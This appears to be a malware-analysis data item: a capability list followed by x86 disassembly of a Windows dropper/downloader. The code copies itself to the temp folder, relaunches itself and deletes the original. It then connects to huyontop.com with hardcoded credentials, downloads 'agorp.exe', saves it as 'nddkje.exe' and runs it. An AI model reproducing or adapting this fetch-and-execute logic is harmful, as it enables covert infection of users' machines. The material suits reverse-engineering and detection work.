Function at 0x1111000
Capabilities:
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x203c
call fcn.01111350
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x1111024
xor eax, eax
inc eax
jmp 0x11112c6
push ebx
push edi
push esi
mov edi, 0x2000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
push 8
push eax
mov dword [ebp - 4], eax
call ebx
push edi
push 8
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call ebx
push edi
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 0x14]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.fcbnaf.exe
push dword [ebp - 0x14]
push 0x11120b4
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x11112c1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x20], eax
call edi
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp - 4]
call ebx
mov dword [ebp - 8], eax
cmp eax, esi
je 0x11112c1
push esi
lea ecx, [ebp - 0x24]
push ecx
push dword [ebp - 0x20]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x14]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x111119f
push dword [ebp - 0xc]
call edi
mov ebx, dword [ebp - 0x20]
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 8]
add eax, ebx
cmp ecx, esi
jbe 0x1111126
mov edx, dword [ebp - 0xc]
sub edx, eax
mov dword [ebp - 4], ecx
mov cl, byte [edx + eax]
mov byte [eax], cl
inc eax
dec dword [ebp - 4]
jne 0x111111b
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x11112c1
push esi
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0xc]
call edi
lea eax, [ebx + eax*2 + 4]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 4]
call ebx
push dword [ebp - 0xc]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
push dword [ebp - 0xc]
push esi
push dword [ebp - 0x14]
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x3c]
push dword [ebp - 0x10]
add eax, ecx
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
lea eax, [ecx + eax + 0xd0]
mov edi, dword [eax + 0x14]
add edi, dword [eax + 0x10]
add edi, dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x10], esi
jmp 0x11111d8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x7d0
jg 0x11111e3
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x11111cc
push esi
push esi
push esi
push esi
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
cmp eax, esi
je 0x11112c1
push esi
push esi
push 3
push str.1qazxsw2
push str.obiwan
push 0x1bb
push str.huyontop.com
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, esi
jne 0x1111224
push 1
jmp 0x1111199
push esi
push 0x80803000
lea ecx, [ebp - 0x38]
push ecx
push esi
push esi
push str.agorp.exe
push esi
push eax
mov dword [ebp - 0x38], str.text_
mov dword [ebp - 0x34], str.application_
mov dword [ebp - 0x30], esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x111121d
push 4
pop edi
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push 0x1f
push eax
mov dword [ebp - 0x28], edi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp - 0x1c], 0x100
push edi
lea eax, [ebp - 0x1c]
push eax
push 0x1f
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetSetOptionW]
push esi
push esi
push esi
push esi
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x111121d
push esi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x20000005
push dword [ebp - 8]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x18], esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
push dword [ebp - 0x18]
push 8
push dword [ebp - 4]
call ebx
mov ebx, eax
cmp ebx, esi
jne 0x11112c9
xor eax, eax
pop edi
inc eax
pop ebx
pop esi
leave
ret
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x18]
push ebx
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
mov edi, str.nddkje.exe
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
lea ecx, [ebp - 0x3c]
push ecx
push dword [ebp - 0x24]
mov dword [ebp - 4], eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x203c]
push eax
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
lea eax, [ebp - 0x203c]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push esi
push esi
lea eax, [ebp - 0x203c]
push eax
jmp 0x111118c